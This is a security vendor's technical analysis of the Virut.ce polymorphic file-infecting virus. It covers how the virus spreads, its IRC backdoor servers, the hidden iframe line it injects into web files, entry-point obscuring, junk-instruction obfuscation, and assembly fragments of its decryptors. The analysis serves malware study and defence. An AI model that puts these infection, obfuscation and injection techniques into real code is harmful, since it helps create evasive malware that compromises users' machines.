# Review of the Virus.Win32.Virut.ce Malware Sample

**[securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/](https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/)**

Authors

[Vyacheslav Zakorzhevsky](https://securelist.com/author/vyacheslavz/)

## Introduction

This article is dedicated to the polymorphic virus known as Virus.Win32.Virut and to its ‘ce’
variant in particular.

**Why call it Virut.ce?**

Virut.ce is one of the most widespread pieces of malware to be found on users’ computers. It
infects executable files using the very latest techniques and that makes detecting and
treating those files particularly difficult. The current means by which most malicious files are
actively spread is server-side polymorphism. Infecting files is not as popular as it used to be
about five years ago. This is largely because the level of file emulation has improved greatly.
As such, you have to hand it to the authors of Virut.ce – they weren’t at all put off by the
difficulties they faced in trying to infect executable files.


-----

The technology implemented in Virut.ce accurately reflects the very latest methods used to
write malware. Anti-emulation and anti-debugging tools are widely used, such as the tick
count received when using multiple rdtsc instructions, series of GetTickCount API functions
and the calling of multiple fake API functions.

Virut is the fastest-mutating virus known, with a new variant appearing as often as once a
week. This indicates that its creators are closely monitoring antivirus databases so that they
can take prompt action when a new Virut signature is released. As soon as this happens, the
creators modify the virus so that once again it is undetectable. Interestingly, the malicious
program ensures that its latest version is downloaded to compromised computers by taking
advantage of infected HTML files as described below.

This article reviews the methods used to infect files. Obfuscation will also be covered as it is
applied each time an executable file is infected. Additionally, the evolution of the virus’
components will be examined, from their emergence up until the present time. All of the
statistics that appear in this article have been collected using Kaspersky Lab’s own
Kaspersky Security Network (KSN) technology.

## A brief review of statistics and propagation

The first Virut variant was called Virut.a and appeared back in mid-2006. From that moment
on, the strain has evolved steadily, reaching Virut.q sometime in September 2007.

Virut.q was quite popular at the time, but only rarely occurs these days. Its developers
discontinued ‘support’ for it during the second half of 2008, but then in the first week of
February 2009, a new variant called Virut.ce appeared. It would seem that the creators of the
virus spent the interim period perfecting new infection techniques, encryption algorithms and
anti-emulation methods.

It should be pointed out here that any reference to the terms ‘Virut’, ‘the virus’ etc. that
appear later in the article, refer to Virus.Win32.Virut.ce.

At present, the Virut.ce variant is the second most popular of all of the versions of
Virus.Win32.*.* detected on users’ computers.


-----

**The Top 20 most frequently detected viruses**
**January 2009 – May 2010**

From the graph below it can clearly be seen that the propagation acitivity of Virut.ce
increases with time.


-----

**Number of computers infected with Virut.ce**
**May 2009 – May 2010**

The virus propagates through infected files, both executable and HTML, or smaller programs
designed to crack licensed software. Such programs generally include key generators
(keygens) and direct file modification utilities (cracks). More specifically, Virut propagates as
part of RAR/SFX archives with straightforward names like
‘codename_panzers_cold_war_key.exe’ or
‘advanced_archive_password_recovery_4.53_key.exe’. Such archives include a copy of
Virut, either in its original form, or in an infected file alongside the desired program.

## Virut’s functionality

Now let us look at the most important feature – Virut’s payload. It is common knowledge that
most malware programs are exclusively designed for financial gain and Virut is certainly no
exception. Effectively, it is a backdoor which first attempts to infiltrate the address space of
the ‘explorer.exe’ process (‘services.exe’, ‘iexplore.exe’), then it connects to the irc.zief.pl
and proxim.ircgalaxy.pl URLs via IRC-protocol and waits for commands to arrive. The
procedure looks quite conventional, as does the list of processes the virus attempts to
terminate as shown in the screenshot below. This list includes processes belonging to
antivirus programs such as ‘nod32’, ‘rising’, ‘f-secure’ and a number of others.

**Screenshot showing part of the decrypted static body of Virut.ce**

**and including the names of processes that are terminated by the virus**

Interestingly, the virus infects all of the *.htm, *.php and *.asp files stored on the victim
computer. To do so, it adds the following line to them: ‘<iframe src = http://jl.*****.pl/rc/ style =
‘display:none’>’. This downloads the latest version of Virut by exploiting a PDF-file
vulnerability. This line may change from version to version within the ‘ce’ variant. For
example, the letter ‘u’ may be substituted by ‘&#117’, which will not affect the browser in any
way, but will prevent static signatures from working.

## General discussion and method of infection

Virut.ce uses EPO technology or rewrites the entry point as an infection technique. One or
two polymorphic decryptors are used in conjunction with it too.

The Entry Point Obscuring (EPO) technique works by preventing detection of the instruction
to jump to the virus body. Typically, this is implemented by replacing a random instruction in
the program’s original code or the parameter of the jump instruction. Below is an example of


-----

how an instruction and the jump address can be substituted.

The term ‘rewriting the entry point’ implies modifying the PE header of the file being infected,
specifically rewriting the AddressOfEntryPoint field in the IMAGE_NT_HEADERS32
structure. Consequently file execution will start directly with the virus component.

As discussed earlier, the virus adds only one or two decryptors during infection – let us call
them ‘Init’ and ‘Main’. The Main decryptor is located in every file touched by Virut.ce, while
the Init decryptor occurs only occasionally. Let us take a closer look at the function and
general appearance of this decryptor.

The primary purpose of the Init decryptor is to decipher the first layer of the virus’ main body
in order to hand over control to it. However, the bulk of the virus’ body remains encrypted
even after this initial decryption has occurred. The Init decryptor is a small piece of code
between 0x100 and 0x900 bytes long and contains many purposeless instructions that
prevent static antivirus signatures from working. The decryptor is placed at the end of a
section of code if there is a sufficient number of zeros. The decryptor works as follows:

1. It writes the size of the encrypted section to the register;
2. Performs a logical/arithmetic operation on the encrypted section with a constant key;
3. Increments/decrements the pointer to the encrypted section;
4. Jumps back to instruction 2 until everything is decrypted.


-----

The main body of the virus is 0x4000 to 0x6000 bytes in size and is located at the end of the
last section, which is extended specifically for this purpose and flagged as write/readaccessible and executable.

Thus, four ways for possible infection exist:

Init Decryptor + EPO:

Init Decryptor + modifications to the EP:


-----

EPO only:

Rewriting the entry point only:


-----

These four methods of contagion cover all the possible ways to infect a file or modify its
structure.

## Primary decryption of Virut.ce’s body

Before we go on to discuss the payload of the virus’ main body, let us look at the Init
decryptor in a genuinely infected file.


-----

**Fragment of a file infected by Virus.Win32.Virut.ce which includes the Init decryptor**


-----

**The disassembled code of the Init decryptor**

The first of the screenshots above shows a fragment of an infected calc.exe file. The
boundaries of the code section are marked and the Init decryptor is highlighted also. The
second screenshot shows the disassembled code of the Init decryptor. The four logical
elements discussed above are shown in red ovals.

In this example, the ECX register is filled with multiple push/pop instructions and decrypted
with the adc instruction. However, this procedure has not always been the same. Virut.ce has
evolved rapidly in the last year and so has the incorporated Init decryptor. If the virus body
size written into the registry has been modified once (mov reg, dword changed to push
dword; pop reg), the decryption procedure changes more than once (in date order):

1. ADD/SUB [mem], dword;
2 ROL/ROR [mem] byte;


-----

3. ADC/SBB [mem], byte;
4. ADD/SUB [mem], byte;
5. ADD/SUB [mem], word;
6. ADC/SBB [mem], word;
7. ADC/SBB [mem], dword;

Now that we have reviewed the general schemes by which infection occurs and the primary
processing of the virus’ main body, we can move on to reviewing the execution of the major
part of Virut, which is always located at the end of the last section.

## Restoring the original code

The code of the main body can be subdivided into three groups according to purpose: the
restoration of the original function/entry point, the decryption of the static body and the
execution of the payload.

Before we review each element, let us review the structure of the virus body and have a look
at the associated part of the file.

**The structure of the main body of Virut.ce**

As can be seen in the picture, the main body added to the end of the code’s last section is
made up of two types of components: the encrypted static body and the executable code.
The executable part contains a code which performs anti-emulation, restores the original
entry point and/or function and decrypts the static body. It is scattered over the main body
and may be located at the top or bottom or be split in two. Interestingly, the executable part is


-----

also heavily obfuscated. This complicates detection as there are no static elements in the
original file and a static element is obviously encrypted using different keys and/or
algorithms, as will be demonstrated in the discussion below.

**File fragment containing the main body of Virus.Win32.Virut.ce**

The above picture shows a screenshot of a fragment of a file infected with
Virus.Win32.Virut.ce. The executable part of the virus’ main body is highlighted with a red
oval; it can also be identified visually as it contains a lot of zero bytes. In this instance, the
virus has not used the Init decryptor during the infection process; otherwise, all of the
sections would look similar and be encrypted.

Let us now look at the block dedicated to restoring the file’s original part. The logic of this
block may be represented as follows:

1. CALL [address with a small increment];
2. Store the original contents of the registers;
3. Add the address pointing to kernel32.dll to the EBX register;
4. Calculate the pointer to the address of the instruction following CALL in item 1;
5. Perform an arithmetic/logical operation on the address obtained in instruction 4.

It should be noted that the virus uses the EPO technique only if it identifies an API-function
being called from kernel32.dll. This function call may be identified by the calls through either
the 0x15FF or 0xE8 opcodes, with a subsequent JMP instruction (0x25FF). If such a function
is identified it is replaced with the JMP instruction (0xE9) which leads to instruction 1 in the
previous diagram. Then the address of the replaced function from kernel32.dll is placed into
the EBX register. If only the entry point has been modified, the value at [ESP + 24] is placed


-----

into the EBX register – this is the address for the application to return to kernel32.dll. Later
on, the value stored in this register will be used to obtain the addresses of exported DLL
functions. If the EPO technique is used, the value at [ESP + 20] will contain the address of
the instruction following the call of the patched API-function; otherwise it will contain the
address of the original entry point.

If obfuscation is excluded, the simplest way to restore the entry point and/or function will
appear as follows (assume the GetModuleHandleA function was replaced):

CALL $ + 5
PUSHAD
MOV EBX, [GetModuleHandleA] XOR [ESP + 20h], Key

This code is completely in line with the general logic of the entire block. Now, let us see how
all of these stages have changed over time. The only stage we will not dwell on is the second
operation (save the original contents of the registers) as it is always implemented by the
PUSHAD instruction.

Let us review each of the block’s logical elements in detail.

The first stage – the CALL instruction – has not changed much over time. Originally, it looked
like CALL $ + 5, later CALL $ + 6(7,8), then CALL $ + 0xFFFFFFFx, which is a call
‘backwards’ . It may seem that this operation is of little importance and can be scrapped, but
that is not true. This address is used to restore the entry point/original function as well as to
address the decryption keys and the start of the static code. We will mention this address
again when we discuss the Main decryptor.

Stage 3 is modified more often than stage 1 and may be implemented in several ways:

MOV EBX, [ApiFunc]/MOV EBX, [ESP + 24h];
PUSH [ApiFunc]/[ESP + 24h]; POP EBX;
SUB ESP, xxh; PUSH [ESP + 24h + xx]; POP EBX;
LEA EBX, [ESP + xxh]; MOV EBX, [EBX + 24h – xx];
ADD ESP, 28h; XCHG [ESP – 4], EBX;

This list of examples is by no means exhaustive, but gives a general understanding of how
this stage evolved with time. Additionally, intermediate manipulations of the ESP and EBX
registers occur.

Let us review the last stage, which restores the address of the original entry point or the
patched CALL instruction. This stage is modified every two or three weeks.

After the PUSHAD instruction is called, the ESP register – the indicator to the stack – will be
decremented by 0x20 and so ESP + 20h will store a value supplied by the last CALL
instruction. An arithmetic/logical operation is applied to this value and the required figure is


-----

obtained.

Below are some of the possible sequences of operation that perform the actions described
above:

XOR/AND/OR/ADD/SUB [ESP + 20h], const;
MOV [ESP + 20h], const;
LEA EBP, [ESP + x]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG [EBX + 20h – x],
EBP;
MOV EBX, ESP; PUSH const; POP [EBX + 20h];
PUSH const; POP [ESP + 20h].

Again, this list is not exhaustive, but gives an understanding of the overall trend. Various
intermediate operations are added.

The screenshot below presents a fragment of an infected file which contains all of the
operations described above highlighted in red ovals.

**Screenshot of a file infected with Virus.Win32.Virut.ce,**
**containing a code to restore the original entry point**

For clarity, the above code examples did not include obfuscation. However, obfuscation is
used extensively in all of the file sections added by the virus, including the Init decryptor and
the entire executable part of the main body. It is obfuscation that completely blocks static
signatures from detecting the virus as it radically modifies the appearance of the code
without changing its performance. Below are some examples of junk instructions which do
not perform any meaningful operations and are only used to obfuscate the code:

XCHG reg1, reg2; XCHG reg2, reg1; (used together)
SUB reg1, reg2; ADD reg1, reg2; (used together)
MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg, [REG];
CLD, CLC, STC, CMC, etc.

‘reg1’ and ‘reg2’ stand for different registers; ‘reg’ stands for the same register within a single
expression

Arithmetic/logical operations with an arbitrary second operand:

ADC reg, const; SBB reg, const; XOR reg, const; etc.


-----

In the screenshots below, elements of obfuscation are highlighted in red ovals:

**Screenshots containing code of the virus’ main body with obfuscation elements shown in ovals**

The screenshot on the left shows very clearly that junk instructions make up some 70-80% of
the entire code.

The examples above present some cases of obfuscation that occur most often and are not
exhaustive. As the virus evolves, new obfuscation techniques evolve alongside it.

We have reviewed the first stage of execution of the virus’ main body. We will not dwell on
the stages that implement various anti-emulation and anti-debugging techniques and move
straight on to the Main decryptor.

## Decrypting the main body

The execution of the decryption code starts after the virus completes its initial activities such
as restoring the patched code, creating a specifically named object and obtaining the
addresses of the functions to be used from system DLLs and anti-cycles.

If the Main decryptor is viewed in a disassembler, its code will appear utterly meaningless, as
the RETN instruction is called which hands over control to a randomly chosen position.
Before the main decryption process starts, the RETN instruction (0C3h) is replaced with
CALL (0E8h). This is accomplished by an instruction which may typically look like this:

ADD/SUB/XOR [EBP + xx], bytereg

In the above, EBP points to the address of the instruction following CALL and bytereg is one
of the byte registers.


-----

We can therefore consider that the decryption cycle starts after RETN is changed to CALL.
Next follows the decryption cycle which is just as obfuscated as the rest of the virus’ body is.
Not only are a large number of algorithms used, but many of them are more complex than
those used within the Init decryptor. Typically, between two to six logical/arithmetic operations
are used in combination. In algorithms, the EDX register contains the decryption key and the
EAX register contains the virtual address where the static body starts. The registers contain
instructions which may look like this:

MOVZX/MOV dx/edx, [ebp + const] LEA eax, [ebp + const]

The EBP register contains the address which follows the CALL instruction; this address was
mentioned earlier when we reviewed the first stage of the logical scheme which restores the
original part of the file. The instructions performing these two operations have also been
modified with time, but we will not discuss them here.

The algorithms in use are very diverse so we will only provide examples of the most
interesting ones:

ROL DX, 4
XOR [EAX], DL
IMUL EDX, EDX, 13h

ADD [EAX], DL
ROL DX, 5
IMUL EDX, 13h

XOR [EAX], DH
ADD [EAX], DL
XCHG DH, DL
IMUL EDX, 1Fh

XOR [EAX], DH
XCHG DH, DL
ADD [EAX], DH
IMUL EDX, 1Fh

XOR [EAX], DL
ADD [EAX], DH
IMUL EDX, 2Bh
XCHG DH, DL

The instructions used changed from version to version, but no clear trend can be observed:
relatively simple algorithms were replaced by more complex ones, which in turn were
replaced by simpler ones again. It appears that the virus creator’s ultimate goal was to use


-----

an algorithm that could better resist possible brute force attempts. This may well account for
the continuous changes to the algorithms, as well as the irrationality of those changes.

**A disassembled fragment of the Main decryptor**

The screenshot above contains a fragment of the Main decryptor’s disassembled code. The
meaningful (non-junk) instructions discussed above are highlighted in red ovals. Some junk
operations are also present here for obfuscation purposes.


-----

To continue the discussion regarding the execution of the infected file, let us move on to the
execution of the malicious payload contained within the decrypted static body. It typically
starts with a CALL instruction to a nearby cell in order to calculate the virtual address of the
beginning of the executable code and use it later on for addressing.

**The virus’ decrypted static body**

The screenshot above shows the virus’ decrypted static body. The lines highlighted by the
red ovals carry specific parts of the malicious payload. For example, ‘JOIN’ and ‘NICK’ are
IRC commands, ‘irc.zief.pl’ and ‘proxim.ircgalaxy.pl’ are remote IRC servers that Virut
attempts to contact; ‘SYSTEMCurrentControlSet ServicesSharedAccess
ParametersFirewallPolicy StandardProfileAuthorizedApplications List’ is the registry key
containing the list of trustworthy programs for the Windows firewall.

## Conclusion


-----

Virut.ce is interesting for the variety of file infection mechanisms that it uses, as well as its
polymorphism and obfuscation techniques. However, its malicious payload is quite
commonplace. This version of Virut was the first to combine all of the aforementioned
malicious techniques into a single piece of malware. Some malicious programs may be
heavily obfuscated, others may employ a wide range of anti-emulation techniques, but
Virut.ce combines all of these in one package. This article provides a detailed account of
these malicious techniques.

The article is not an attempt at a complete description of Virut.ce, nor is it intended to be. We
could have gone deeper into how the virus communicates with the IRC server, or examined
more closely the details of how files are infected, but this time we deliberately dwelt on Virut’s
basic mechanisms. Additionally, publishing a detailed description of the anti-emulation
techniques would be irresponsible as malware writers could then exploit this information.

Assessing the virus’ future is quite a difficult task. As of April-May 2010, no new versions of
Virut.ce have been detected; however, this does not mean that its evolution has stopped. It is
quite possible that the virus writers have taken a break in order to develop further changes to
the virus that could render it immune to current antivirus products.

Currently, all of Kaspersky Lab’s products are able to successfully detect and treat
Virus.Win32.Virut.ce and as soon as a new variant is detected, its signature will be added to
the Kaspersky Lab antivirus databases.

We hope that this article will be of assistance to virus analysts and those interested in the
study of malware. These days, anti-emulation and anti-debugging techniques are commonly
used in most malicious programs that propagate by means of server-side polymorphism. An
awareness of the technologies implemented in Virus.ce helps to broaden our understanding
of many other malicious programs, including polymorphic viruses employing similar
methodologies.

[Malware Descriptions](https://securelist.com/tag/malware-descriptions/)

Authors

[Vyacheslav Zakorzhevsky](https://securelist.com/author/vyacheslavz/)

Review of the Virus.Win32.Virut.ce Malware Sample

Your email address will not be published. Required fields are marked *


-----